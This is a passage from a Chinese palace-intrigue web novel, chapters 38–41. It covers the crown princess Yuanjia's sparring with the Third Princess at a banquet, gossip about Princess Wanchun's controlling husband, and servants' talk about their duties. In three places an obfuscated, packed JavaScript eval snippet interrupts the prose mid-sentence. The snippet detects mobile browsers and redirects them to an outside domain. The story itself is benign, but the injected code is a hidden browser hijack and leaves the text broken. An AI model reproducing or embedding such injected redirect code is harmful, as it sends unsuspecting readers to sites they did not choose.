穆瑶筝在一旁笑嘻嘻道:“我本想在云南找一个好看的,定亲成婚也就罢了,我阿娘却说我没出息,说好看的儿郎都在上京城呢,所以便打发我来外祖家长住,等寻到一个全家人都满意的郎君再回去!” 燕景璇听着却不住点头,看起来颇为赞同,“郡王妃说的也不错,扶风郡王是上京第一美男子,便是郡王妃,京中虽美人如云,她想排也是能排的上号的。一家子都是美人坯子,总不能叫你找一个还没他们好看的人回来做姑爷吧?” 穆瑶筝却叹了口气,“可前几年开始,他俩的喜好便不尽相同了。要想找一个他们都满意的,谈何容易,还不如我今日认个哥哥,明日认个哥哥,快活一日是一日呢!” “既是都喜好美人,这不尽相同又作何解呢?” 倪娉柔好奇道。 “前几年他们去往各地道观游玩,回来后我爹便蓄起了须,自诩为俊逸之美。可我娘更中意清雅隽秀的少年郎,对我爹蓄须的喜好,不屑一顾。” 穆瑶筝不住摇头。 元嘉喟叹一声,“若有机会,我还真想见郡王夫妇一面。端看县主风姿,便可遥想郡王、郡王妃当年的惊鸿之貌了。” 穆瑶筝又是一声叹息,“说来惭愧,我只随了爹娘五分颜色。若论相貌,我那弟弟才真是随了个十成十。如今不过五、六岁的年纪,出趟门便要带回满兜的果子绣帕了。” 众人又是一声惊叹。穆瑶筝已是很好看了,她却说自己不比胞弟更肖父母,也不知这穆小郎君长大后是何等的容姿绝世。 柳安沅更是听得津津有味,连眼睛都不舍得眨一下,“阿瑶原是这样的风云人物,也不知如今认了几位哥哥?” 穆瑶筝抿嘴一笑,“也就几位罢了,只是大都在云南,京中除了春雨楼有位哥哥,便再没了,”说着又有些泄气,“也不知是不是我今次回来的时机不对,这么些日子了,愣是没见到几个合我心意的。也怪那个陆千帆,叫我以为上京的儿郎都是那性子……” 说着以手掩口,又低声道,“今次回来,正好赶上花朝节,分明看到几个好的,可偏偏离得远,没打听到是哪家的……这不,三公主设宴,我特意接了帖子过来,就想问问,看哪家夫人娘子家里还有适龄的郎君,保不齐还能趁着春色未退,约着去京郊策马骑行呢!” 柳安沅瞪大了眼睛,“你这次摆明是回来找夫婿的,还敢去认哥哥!” “就是因为要找夫婿了,才得多结识几位哥哥,否则看走了眼,找了个空有相貌却心思老旧的男人成亲,以后的日子肯定是过不痛快的。我可不想一次次的和离,更不想一次次的重新找……太费工夫了。” 穆瑶筝把玩着腰间的络子,“好在我外祖知道爹娘的性子,也知道我们在云南的事情,左右不会真替我找一个木讷的男人上门相看,说不定我还可以再多晚上几年呢。” 穆瑶筝说着说着,又开始夸赞起亭内诸人的相貌来,直惹得燕景璇一众笑声不断。 正是热闹之时,一个身穿姜黄襦裙的宫人走了过来,恭敬行礼后,垂眉敛目道:“三公主请诸位贵客移步,往多景台开席。” 众人闻言,皆抬眼朝来者身后望去,见三公主被人簇拥着,不远不近地站在一团锦簇之中,尤带三分矜贵。见她们望过来,遥遥一颔首,便头也不回的走开了。 元嘉与燕景璇对视一眼,彼此都瞧见对方眼里未散尽的笑谑。 仍是元嘉开口,“知道了,你自去前面引路。” 而后起身,与燕景璇并肩离了凉亭。身后的倪娉柔等人,也各自离座,整衣敛容紧随其后。 38. 不相让 燕景璇与元嘉走在最前,此刻正贴近元嘉身侧,低声道:“她从前只爱和薛氏来往,你如今做了太子妃,她又这样大张旗鼓的邀朋设宴,只怕是想在席上给你难堪,你自己小心些。” 这话倒与元嘉出发前的猜测一般无二,就是不知道燕景璇为何会在她面前刻意点明……但既是好意,她便也不必拒绝。 元嘉轻轻一颔首,同样低声道:“她与太子也算血亲,折了我的面子,又有什么好处?” 燕景璇举目望了一圈,而后嗤笑一声,“小女儿家的心思,幼稚的很!” 却不再刻意压低声音。 引路的宫人显然也听到了,却只是轻颤一下,脚下步子半点没停。待把元嘉几人引到多景台后,便迫不及待地离开了。 三公主与万春公主正站在多景台入口处,见人走近了,方才上前相迎。 “大皇姊,太子妃。” 三公主嗓音清越,却只简单称呼了两声,便闭了嘴懒再开口。倒是跟在身边的万春公主更周到三分──上前与元嘉和燕景璇互相见了礼,又客气地朝柳安沅几个一颔首。 “就等着几位了,还请快快落座!” 万春公主亲自引着人分席列坐,又不着痕迹地扯了扯三公主衣角,直到前者强忍着不耐烦跟上来才松了一口气。 太子府来了三个人,却被分到了两个地方。倪、刘二人自是坐到了一张桌上,燕景璇和元嘉则坐进了三公主所在的主桌。至于柳安沅和穆瑶筝,虽还挨着,可离得就更远些了。 几人落座,还不待开口,便有身边的人起身见礼,又是一番寒暄,这才收锣罢鼓,暂告一段落。 三公主坐在主位,对眼前行礼又还礼的动静全然视而不见。直等到耳边再听不见任何声响,这才举起杯盏,施施然一起身。 “各方入夏,眼瞧着春景就要败了,唯有这荷风园,还留有三分春意。本宫想着,独乐乐不如众乐乐,故而发帖邀各位前来,今日如有招待不周之处,还请海涵。本宫先饮一杯,诸位自便!” 一番场面话,说的倒是圆满,众人听罢,皆随三公主举杯满饮,场面一时热闹起来。 燕景璇随意吃了口酒,偏过头朝元嘉笑道:“你猜这话,是谁帮她想的?” 元嘉左右看了两眼,见三公主正在和人推杯换盏,略放松了下身子,靠着燕景璇道:“莫不是万春公主?” 燕景璇拿起杯盏,随意与元嘉搁在手边的杯盏碰了碰,轻飘飘的声音里带着明显的笑意,“她那性子,从来是想叫人便来,不想叫人便去,哪会想这些冠冕堂皇的理由,便只有我那个二妹妹替她各种圆场了。” 元嘉还想继续问,却见三公主举杯朝向自己,口中说道:“太子妃,册封那日,本宫离得远,只在人群外远远望你一眼。之后本想趁哪次在清宁宫朝见时再向你道贺两句,母后却又病了,还免了所有人的拜见。如此兜兜转转的,竟是到今日才得以正式相见。这杯酒,便当是本宫贺你新婚了。” 元嘉微微一笑,顺着三公主的话端起酒盏,“公主客气,本宫嫁与太子也不过月余时光。今日得公主相邀,往后自是有机会与公主常见。” 三公主见元嘉径自喝下,表情似乎有些不甘心,嘴角向下一撇,不多时又笑道:“太子妃不愧是将门出身……本宫那嫂嫂什么都好,就是不善饮酒。孤每每请她吃酒,都要劝上好几次,才得她浅饮一口。可就是这一口,她吃下去也是酒意晕颊,立时便要人搀的。” 而后,故作惊讶地捂住了嘴,“太子妃见谅,实则是本宫习惯了唤薛娘娘为嫂嫂,今日乍见太子妃,一时恍惚,这才没能改口……太子妃可不要因此与本宫生分了才是!” 嘴里虽这样说着,可一个太子妃,一个嫂嫂,孰亲孰远,不言而喻。 “公主与先太子妃有血缘之亲,若论起来,还得称先太子妃一声表姊。姊妹间相处,自是与其他人不同。本宫家里也是有妹妹的,当然理解,又哪里会怪罪公主?” 元嘉笑意不减,只当没见到眼前人骤变的脸色,“就是可惜了,先太子妃与公主的缘分浅了些,否则也能多听公主唤她几声嫂嫂了。” 三公主看着元嘉并不为言语所刺的模样,眼中不忿愈浓,启唇还想要再说些什么,却被万春公主垂在桌下的手死死攥住了衣角,强行止住了。 一方既已偃旗息鼓,元嘉只需要顺驴下坡,便可体面地终了这桩事情……可为什么一定是她退让? 先是薛德妃,如今又出了一个三公主,她们怎么都觉得自己该被这位不幸早亡的前人“困”住呢?又总爱在大庭广众之下窥望态度。若不趁今日压一压这位三公主的威风,日后只怕还会有无数个“三公主”以此来“提点”她。 于是,元嘉缓缓抬起眼帘,从三公主手里捏着的酒盏一点点上移,直看到前者眼里掠过一丝惑然,方才不紧不慢道:“不过公主的这番话,也算是提醒本宫了……公主与先太子妃的感情如此之深,若是因为本宫嫁给了太子,便要公主将曾经对先太子妃的称呼给了本宫,未免也太残忍了些。” “这样吧……不若像本宫称呼三公主一般,公主往后也就直接唤本宫太子妃吧。”元嘉说话声十足的温和,更显出一分意义不明的善解人意来,“本宫虽不曾见过先太子妃,可先太子妃早逝,本宫听了也是难过的……好在有三公主这样时刻惦记着先太子妃的人,本宫如今反觉着心里好受了些。” 满园之内,从三公主举杯面向元嘉时,便彻底安静了下来。 在场的人,有想看笑话的,也有想借此窥探这位新妃脾性的,自然也有似季母一般,为元嘉担心的。头先看三公主说了一句,便被万春公主劝住了,还以为这事就这样虎头蛇尾的结束了,哪曾想这位新妃反开始发难了……竟是个不容人的性子! 另一桌的柳安沅微微垂头,假意整理衣裙,却是为了遮掩面上快克制不住的笑意。三公主想借薛太子妃刺人,哪想到叫自个儿骑虎难下了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969299|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 事实上,与柳安沅猜想的一样,三公主眼下确实有些进退两难。 她当然不会喜欢元嘉这个新娶的太子妃──薛神妃还在世时,同出薛门的关系就在这里摆着,无须她们去想,燕景祁自然而然便与珠镜殿往来频繁。后来若不是……也不会由着与她们八竿子打不着边的季氏女雀屏中选! 三公主娇纵惯了,心里的不舒坦只会当场就发作出来──左右没人敢驳她的话,却不想错看了元嘉,又被前者的话架在了火上烤。 若不改口,便是有意要和太子府疏远,回去了更会被自家母亲责骂。可若改口,那不就证明她说了谎,她与薛神妃的情谊只是嘴上说说的吗! 三公主正六神无主之际,身边忽有声音响起── “季嫂嫂,三妹妹素来嘴拙,您可千万别顺着她的话说。从前,薛嫂嫂刚嫁给太子哥哥时,三妹妹便老是表姊表姊的改不了口,好容易习惯叫嫂嫂了,薛嫂嫂便又离世了。” 原是万春公主。 “如今,您做了太子妃,便是我们的新嫂嫂,本就该改口的。三妹妹大大咧咧,嘴上也没着没落的,心里是一个意思,说出口的却又是另一个意思……您瞧她这脸色,您不让她称您为嫂嫂,可不是要把人给急坏了吗!” 元嘉眼中闪过一丝讶异──万春公主倒比她想象中更擅于辞令,可这样的人竟也会在昌平伯面前委曲求全。 三公主见万春公主递了个台阶,总算松了口气,又顺着前者的话往下说。 “对对对,您是太子哥哥的妻子,便是我们的皇嫂!嫂嫂就不要公主公主的称呼我了……我在一众姊妹里行三,嫂嫂若是不嫌弃,往后便唤我三娘吧!” 顿了顿,尤嫌不够般继续,“我这人嘴笨,性子也拗,若习惯了称呼一人,再改口便要费好长的工夫。从前,宫里头有个伺候我的嬷嬷姓李,后来告老归乡,换了位刘嬷嬷,我却仍冲着她叫李嬷嬷,被母妃提了许多次才改掉……嫂嫂可不要生我的气!” 说的话虽还有不足,可匆忙之中能想出这样的借口,也是不错了。元嘉笑了笑,同样松了口,“有三娘这番话,我便可彻底安心了。往后二位若得空,也可常来太子府寻我。你们都是太子的妹妹,以后也便是我的妹妹。” 三公主能说出这番话,已是勉强又勉强,再听元嘉此言,也不过是略微扯了扯嘴角。倒是万春公主,笑得更真诚了些,“有季嫂嫂这句话,免不得我日后要常去叨扰了!” 元嘉浅浅颔首,不欲再在此事上纠缠,遂举起杯盏开口,“今日是三娘子的席面,又是借的你的地方,旁的咱们便不多说了,吃酒!” 万春公主跟着举杯,另只手垂在桌下,重新攥住三公主袖角,左右轻晃几下,面上却始终挂着笑,“光咱们喝有什么趣味,大家一同举杯!” 此前默不作声的众人这才似回过神般,热热闹闹的跟着举杯。三公主那些许的不情愿,也掩盖在众人之间的附和声中,微不可见了。 39. 相处道 穆瑶筝看了好一出大戏,这会儿悄悄拉住柳安沅的衣袖,借着喝酒的当口低声道:“总算是叫我瞧见这三公主吃瘪的模样了!季姊姊真是厉害,不声不响的就刺了她好大一个没脸。就是可惜了万春公主,今日事事不顺着她,回去了还不知道要被怎么嫌弃呢!” 柳安沅一颗心担惊受怕了许久,好不容易放松下来,便听见穆瑶筝的这番话,少不得嗔怪一声,“冤家,喝你的酒吧!” 谈笑间席已过半,大家原是分席而坐,几轮推杯换盏,气氛也一点点活泛起来。本都是女眷,又或多或少在上京见过,同处荷风园内,不比寻常宴会还要顾及,以三公主为首,已有人开始端起酒盏四处走动起来,你敬我一杯,我回你一盏,场面好不热闹。 守园的宫女也适时出现,换上瓜果点心,又续上新的酒酿,亦或为不善饮酒的女眷奉上茶汤,像是要一扫之前的不愉快一般,此刻倒显得格外周到。 三公主还没忘记头先的不痛快,这会儿离了桌,又故意站得离元嘉有些距离,只寻着几个新结识的女眷,几人你来我往的说着闲话。 万春公主虽还跟着,注意力却放在了一旁的仆妇身上。不多时,便侧头朝三公主说了句什么,可应当不是什么好消息,所以三公主还没听完,便不耐烦地挥挥手走开了。 “……诸位,园子里今日还请了裘娘子,碧桐花楼也还有云韶府的乐人和优伶等着。诸位若是看花看景的厌了,自可去听曲看舞。若有精通琵琶者,还可与裘娘子讨教一二!” 也不知是不是元嘉的错觉,总感觉万春公主的脸色比之前更差。这会子说完话,便避开了其他还想要上前攀谈的女郎,只扶着头先那仆妇的手,悄无声息的从角门离开了。 没了分席的束缚,元嘉便又和柳安沅几个坐在了一起。推杯换盏间想起万春公主的异样,心下疑团不消,趁着一堆人也在,索性直接问出来了,“万春公主怎么先离席了?我瞧她脸色比之前更差,可是身有不适?” “……能在这当头把人叫走,还不管万春会否落埋怨的,除了昌平伯,还能有谁?” 开口的,是燕景璇。 方才那一出发生的时候,她就坐在元嘉身边,元嘉能看到的,燕景璇自然也能看到。而论起对万春公主的熟悉程度,场上能答元嘉问的,也再找不出第二个了。 “昌平伯这般,会否太过失礼?” 或许是待的时间长了,又有元嘉几人从旁作陪,刘婵说话也不似一开始拘谨,这会儿听完燕景璇的回答,两弯细眉紧拧,表情颇有些不赞同。 “他也不是头一回做这种事了!” 燕景璇冷笑一声,“刚成婚那两年,万春只要离开伯府超过半个时辰,再回来时便要像个犯人似的被昌平伯来回盘问。便是提前知会过的,回来后也得与他细说见过哪些人,说过哪些话……次数多了,万春自己就不愿意出门了。即便出去,也总是少走动,少说话。” “万春从前虽温吞,却也不是任人摆布、处处受拿捏的性子,可自从嫁给了昌平伯,便一日比一日沉闷了!” 穆瑶筝本笑盈盈地听着,闻言收敛了两分神色,又提出自己的困惑,“不对呀……我看今日万春公主替三公主圆场那架势,还挺游刃有余的──我反正是比不上的,也看不出什么个性沉闷。” “沅表妹该是见过的吧?” 燕景璇没有立刻作答,反先瞧了眼柳安沅,“前几年,你随靖安姑姑来清宁宫请安的时候,当是撞见过万春的……可还记得她是什么模样?” “我也没跟万春公主打过交道,年纪上更差了许多。但为数不多在清宁宫遇上的几次,万春公主都会朝我笑,哪怕我不小心撞到她身上了,也还是会先问我有没有伤着……她、她是个很温柔的女子。” “万春公主成婚后,我就没怎么在宫里见过她了。除开今日这回,最近几年我就只见过她一面,还是昌平伯陪着人来给皇后殿下请安的时候……” 柳安沅略回忆了下,表情变得有些复杂,“好似、好似比现在还瘦,反应也慢上许多。皇后殿下问话时,总要停上好一阵才会回答。” “这么说来,万春公主如今倒还要好些了……可,又是因为什么呢?” 穆瑶筝疑惑道。 燕景璇仰头吃了杯酒,动作和表情都是十足的凶狠,像是要咽下某种不快一般,停了停才继续道:“原因你们该知道的,坊间不早就传开了?” 众人俱是一愣,还是元嘉先反应过来,说了句叫人摸不着头脑的话,“万春公主无所出?” “没错。” 燕景璇略一颔首,“算起来,万春嫁给昌平伯也有几年了,却仍是一男半女都没怀上。昌平伯一家不想再等了,遂变着法的找宜生养的女子入府。昌平伯忙着要孩子,便没那么多心思在万春身上了。” “如今万春出门,虽还是会过问,可比之从前,还是要好上许多。我虽然不喜欢三皇妹,可万春跟在她身边,替她应酬交际,总比从前默不作声的样子要好。” 场面一时死寂。 “……这,齐修仪也不过问吗?” 倪娉柔喃喃道。 “过问什么?” 燕景璇嗤笑一声,“齐修仪自己胆子就小,离了珠镜殿这么多年,见了德妃却还是觉得自己低人一头,连三皇妹也要做姊姊的捧着顺着,万春又没磕着伤着,她能说什么。” “可、可是……” 倪娉柔本能的觉得这话不对,偏又这时候口拙,一句话颠来倒去的,就是不知道该如何反驳。 “可是……万春公主也愿意这样受着吗?” 刘婵这两年几乎算得上与倪娉柔朝夕相对,彼此间再熟悉不过,只一眼便看出了前者的想法。轻轻拍了拍倪娉柔的手背,又主动替人问道。 闻言,燕景璇的脸色更差,更灌了自己好几杯酒才开口── “……我不知道。” 燕景璇终是没忍住一声叹息,“从前,她总觉得昌平伯是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980583|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎她,才无法容忍她一时片刻的消失。后来,她又觉得是因为自己没有孩子,才会让昌平伯不得不去外头找女人,才会让昌平伯变得不那么在乎她了……万春她、她好像从不认为昌平伯有错。” “可这两年,也未听得昌平伯府有喜信呢。” 柳安沅低声嘟囔着,一句话更说得阴阳怪气。恐怕也是听完万春公主的遭遇后,对昌平伯生出了不满。 “活该!” 穆瑶筝更是气得柳眉倒竖。 可荷风园到底不是自家私宅,有些话更不好在人前说。元嘉想了想,又把话头带回到万春公主身上,“皇姊,与万春公主的关系似乎很好?” 燕景璇点头又摇头,眼中更是一片的晦涩难懂,“我们姊妹五个,只有我与她的年岁勉强相近……从前同住凤阳阁时,偶有遇上,也是能说几句话的。只是后来,我二人先后成婚,又全部离了皇宫,见面的机会便少了。齐修仪也更希望她同三公主来往紧密,我自然不去讨嫌。” “……昌平伯待万春公主,远非世俗夫妻相处之道,日往月来,这世间早晚会多一个可怜人。” 刘婵喟然而叹。 “可怜人?” 燕景璇细细嚼着这三个字,突然收敛了所有表情,而后冷笑一声,“她自己都不觉得自己可怜,咱们又操哪门子的心!这世间比她可怜、比她卑贱的女子多了去了,尚有敢义绝和离的,她一个当朝公主,竟被个不成气候的伯爷骑在头上,没出息!” 众人一时噤声。许是燕景璇今日的态度太过温和,倒叫人一时忘了,眼前这个女子,是国朝之下,后宫之中,除皇后以外的第一人。 她的夫婿是自己选的,她厌烦了要和离,也是自己定的。便是如今,不合礼制的在宫里住着,在宫外跑着,也是无人敢置喙的。 元嘉听着耳畔的冷哼声,这才觉得是她认识的燕景璇。方才那许多的感慨与叹息,恐怕只是为着从前的交情,哀其不幸,怒其不争罢了。依着熙宁公主的脾性,怕是最不喜欢忍气吞声、逆来顺受的人吧…… 如此场面,万春公主也好,昌平伯也罢,都不适合再提了。 元嘉笑了笑,不再接话,只饮尽了杯中的酒,作势起身。 “你们就打算在这里坐一整天?我可是要去碧桐花楼的,裘娘子如今不轻易弹曲了,我还想再听她一曲琵琶呢。云韶府的乐舞也是一绝,难得出来一次,我可不想错过……你们若都没兴趣,我便自个儿去了。” 刘婵自觉说错了话,惶然间听元嘉邀约,自是无有不应。柳安沅几个也是喜欢热闹的,闻言亦是起身,嚷着要一道过去。唯有燕景璇坐在原处,不见任何动作。 “皇姊?” 元嘉唤了几声。 燕景璇这才似回过神般,略摇了摇头,只道:“你们去吧。本宫再坐会,美景配美酒,也算一乐。” 元嘉见她留意已绝,也不再劝,两相道别后便干脆领着人离开,此方空间只余下燕景璇一个。 40. 心记挂 这场打着春日旗号举办的筵席,从白日一直持续到黄昏时分。等元嘉几人再回到太子府,天色早已昏暗,檐角也已挂上了灯笼,里外一片通明。 一整日的折腾下来,三人便是再好的兴致,如今也只剩倦累。 倪娉柔与刘婵的院子相距不远,又在一个方向,二人向元嘉告罪一声,便相携而去。元嘉虽也疲怠,可这是她时隔许久,又一次见到上京的风光,身上虽累,可精神却极好。此刻也不急着回去,出了软轿,由盼春二人陪着,自己慢慢往长春馆踱去。 “……你今日,是不是和太子妃说了什么?” 另一厢,刘婵微微偏头,看着身侧脚步有些踉跄的倪娉柔,轻声道:“我瞧你与她,似乎亲近了许多。” “是,我们说了很多。”倪娉柔挽着刘婵的手,许是喝了酒的缘故,两颊略带绯色,心情却极好,“坦诚相待,能说的不能说的,好听的不好听的,我们都说了。刘姊姊,元娘、太子妃其实挺好的。” “那便是再好不过的了,”刘婵拍了拍倪娉柔的手背,表情却有些怅然,“大家同在一个屋檐下,每日低头不见抬头见的,做朋友总好过做死敌。” “即便做不成朋友,太子妃也不会拿咱们当死敌的!” 倪娉柔快走几步,越过刘婵后又一转身,一步步倒着前行,双眸却始终注视着刘婵,“我这样说,姊姊也未必全信……下次、下次姊姊同我一道去见太子妃吧!姊姊是我在这府里遇到的第一个知心人,我不会骗姊姊,可我也想让姊姊知道,妹妹这次没看错人……太子妃她、她真的是个好人!” 刘婵看着倪娉柔神色坚定,可语气却尤带一丝着急的模样,忍不住失笑出声,“你说的话,我哪次没有信过?” 闻言,倪娉柔僵直许久的背脊总算放松下来,走过来又挽住刘婵的胳膊,喃喃道:“刘姊姊,我是太高兴了……” “我在上京没有家人,也没有朋友,入了太子府,还没过几天安稳日子,便开始日日担心徐丽华下绊子,后来甚至还害怕起……好不容易有了孩子,以为后半生有了依靠,可到头来还是与那孩子无缘,我依旧是孤零零的一个人。若没有姊姊,这偌大的上京城,我只怕早就疯魔。” “这几年,里里外外的人总说我脾气不好,爱使性子,只有姊姊知道我究竟是什么样的人……便是我发脾气,姊姊也多是顺着我的。这些事情,姊姊虽然从来不提,可妹妹看在眼里,心中更是感激。” “我原以为这辈子只能这样过活了,可太子妃她嫁进来了!因为她,我认识了柳家娘子,还结识了康敏县主。这些日子,我看到的、经历到的,是从前几年从未有过的。” 倪娉柔的声音越来越低,或许是酒劲上来了,说起话来也愈发的含糊,“刘姊姊,我是真的高兴,我想让姊姊也跟我一样高兴……既然大家注定一辈子都离不开这个地方了,亲亲热热的过日子不好吗?现在这样子不好吗?” “……好,当然好。” 刘婵沉默一瞬,像是回答,又像是自言自语。倪娉柔似乎还有意识,靠在前者肩侧听见声音,人又清醒几分,也不挽着人了,高兴的拉着刘婵的手便要往不知哪个方向走去。 刘婵连忙把人扯住,又朝身后唤了几句── “芝兰!玉兰!” 两人原都不远不近的跟在后头,一听见声音,立刻快步上前。 “良娣酒意上来了,快扶好!” 芝兰和玉兰连忙一左一右的把人扶稳。刘婵这才抽出身来,又见倪娉柔还有余力朝自己咧嘴嘻笑,颇为无奈的叹了口气,“她这个样子,还是先别回梨云院了……今夜就宿在竹香馆吧。” 倪娉柔唔了两声,不知是同意还是拒绝。而芝兰,见自家主子已然意识不清的模样,更不会替其推拒,只是突然想起了一桩事,显得有些局促,“那,咱们是不是得先去禀告太子妃一声……若是有事来寻,又找不着人,可不是白白叫人担心一场?” 刘婵想了想,“无妨,先把你家主子扶到竹香馆,再赶去长春馆说上一声也不迟。所幸她还有好几身衣裳在我那放着,便是睡上一整夜也不碍事。” 芝兰点点头,和玉兰一起慢慢扶着倪娉柔往前走去,刘婵跟在一旁,不时看下倪娉柔的情况。前者这会儿倒乖觉了,老老实实的随着身边人的动作往前迈步,倒省去好大一番工夫。 “一会儿去的时候,动作轻些,今夜太子应该会留宿长春馆,你到了就找盼春或者红玉,叫她们知道便行了,别扰了太子和太子妃。”刘婵叮嘱道,“回来的时候,再绕去膳房一趟,给点碎银粒子,让掌厨娘子再起个灶,做些醒酒的汤饮带回来。” 芝兰应了一声,几人扶着倪娉柔渐渐走远。至于元嘉一行,前脚才回到长春馆,拂冬便进屋报信了── “女君,申内官刚来了一趟,说太子今夜要过来,请您先预备着。” 燕景祁? 元嘉蹙眉,想了想又舒展开来──只怕是过来问她今日情况的。她原想着回来后梳洗完便歇下的,如今看来,还得再提起精神撑一段时间了。 “这个时候,太子只怕还在书房说事呢,”元嘉看了眼刻漏,“我先去沐浴梳洗,一身的酒气,熏得叫人难受……你们也回屋里歇着吧,跟着我累了一整天了。” 后半句,是说给盼春和红玉听的。 几人齐声称是,又服侍着人往里屋走去。只是才迈了几步,元嘉便跟想起了什么似的,兀的停了下来。 “敛秋在哪儿?让她去做些醒酒汤来。” 拂冬细声细语道:“早备下了,如今正在炉子上煨着呢,我这就叫敛秋姊姊盛一碗拿进来。” 元嘉笑着摇头,“我的倒不急,你让她盛两盅,先遣人送去两位良娣处。今日的酒后劲颇大,还是得醒醒神,可别真醉了,到头来伤了身子。” 拂冬诶了一声,转身便要离开,元嘉却又唤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990394|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了人,“等等!” 拂冬回头,尤带三分疑惑。 “还是盛三盅,两盅送去竹香馆,一盅送去梨云院……”元嘉想起倪娉柔下车时的模样,若真是醉了,依她对刘婵的了解,只怕不会放心前者独自回去,当即道:“若是人过去了,却没见到梨云院掌灯,就直接回来,不必多等,也不必多问,明白了吗?” “是。” 拂冬又是一屈膝,这才离开。 元嘉站在槛内望了几望,似乎有些不放心。直到身上的酒香随着夜风逐渐变得明显起来,这才醒过神,回了里屋又开始沐浴更衣。 “女君!” 念夏走进来,手里还捧着元嘉刚换下的衣裙,“这些衣裳首饰,都是殿下赏的,咱们把它放哪儿呀?” 元嘉坐在妆镜前,正由红珠梳头散发,许是才泡了澡酒劲上涌,听了念夏的话,一下子怒由心生,拉下脸便要斥责,不想却叫红珠先打断了── “妹妹也吃了酒不成?这些东西既是殿下送给女君的,自是由着女君的习惯存放,怎么还过来问起人了?” 红珠说得委婉,语气也温和,念夏起初还不解其意,愣了会儿才逐渐反应过来,表情也有些微变。 前者见状,更加绵言细语,“你把它和其他脏了的衣物放在一起,明日让浣衣的宫女收去便是。只这衣裙上沾了酒气,便是洗了,少不得要再拿熏香熏上几次。” 徐妈妈后脚走了进来,“傻妮子,还不照着红珠的话去做。东西放好了,便去门口瞧着,若是太子的人过来了,再进来报上一声。” 念夏连声答应,手忙脚乱的跑了出去。至于元嘉,被红珠、徐妈妈二人这一通打断,心中便是再大的火气,此刻也都散尽了。 看着镜中素衣乌发的自己,元嘉抿了抿嘴,“行了,都收拾得差不多了,你们就先出去吧。我自己看会儿书,等太子到了,再进来伺候。” 红珠看了眼徐妈妈,见她不着痕迹的点了点头,这才放下手中梳篦。后者像是什么也没发生般,上前为元嘉披了件藕荷的大袖衫,又添了几盏宫灯,这才和红珠一起屈膝离去。 元嘉见人走了,揉了揉眉心,从桌上捡了本书,兀自倚坐在软榻上,有一页没一页的翻动起来。 红珠跟着徐妈妈走到廊下,心知有事要言,自是静默不语 “你方才,为何会抢在女君前面说话?” 徐妈妈问的直接。 徐妈妈本是尚仪局女官出身,甫一问话,红珠还以为自己又回到了在宫里受训教的时候,当下敛目道:“我怕女君吃了酒,醉意昏沉间说了重话……念夏娘子虽有错,可毕竟从小就跟在女君身边,女君若是此刻罚了人,难保明日不会后悔,这才自主主张了。” 徐妈妈暗暗一点头,面上却仍是肃穆,“你说念夏有错,她错在哪里?” 红珠顿了一下,大着胆子道:“念夏娘子不该对女君说‘赏’这个字!” 41. 好奇问 “……那‘赏’字,是上位者对下位者说的,是主子对奴才说的。可女君是殿下的妻子,更是东宫的太子妃,这些日子,殿下不管送什么东西来长春馆,都不曾用过‘赏’这个字,念夏娘子跟在女君身边,又怎能够这样说!” 徐妈妈听完红珠的解释,又深深看了前者一眼,唇角略微上扬,“你倒是把一切都看得明白。” 红珠同样注视着徐妈妈,“女君待身边人是好,可身边人却不能因此忘了本分。” 徐妈妈点点头,又叹了口气,“好孩子,你和念夏住在一个屋子,平日里也多提醒着她一些,别叫她祸从口出,哪日连命都没了。” 红珠自是答应,可表情却不像无事的样子,犹豫了好一会儿,还是大着胆子开了口:“……妈妈,我这话说来或许有些僭越,可念夏娘子这样的性子,也许并不适合留在太子府,来日或也不适合入宫。如今跟在女君身边,尚能得女君三分看顾,可若有一日,自个儿在外头说错了话,谁还能护得住她?保不准还要连累女君。” “你能说出这番话,我便也彻底放心让你顶了念夏的差事了。” 徐妈妈的笑意更扩大了些。 红珠闻言一惊,生怕前者以为她是故意挑拨,忙道:“我不是,我──” 徐妈妈摆着手示意无碍,“我知道你是什么意思,你也不必着急。让念夏离开,并非只是因你这话才起的念头。她这些日子,确实是越来越不像样了。不止我动了这心思,女君心里怕也有思量了,这才让你跟念夏同住,也学些我们从前的习惯。” 红珠有些怔然,“那念夏、她……” 徐妈妈示意前者放心,“念夏也到年纪了,早晚是要放出去的。依女君的性子,便是她如今不稳重了,真到嫁人那一日,也还是会替她寻个家世清白,能真心待人的。不论怎样,还是会叫念夏出去后做个当家娘子的。” 闻言,红珠略略宽了心,可也不知道还能再说些什么,只好埋下头,盯着鞋尖上的绣花看个不停。 “行了,咱们就在这儿候着吧。” 徐妈妈也无意继续这个话题,“太子说不准什么时候就过来了,念夏在前面等着,你我就在这里等着吧。彼此间还得醒着神,仔细留意着呢。” 红珠这才抬头,轻轻诶了一声。 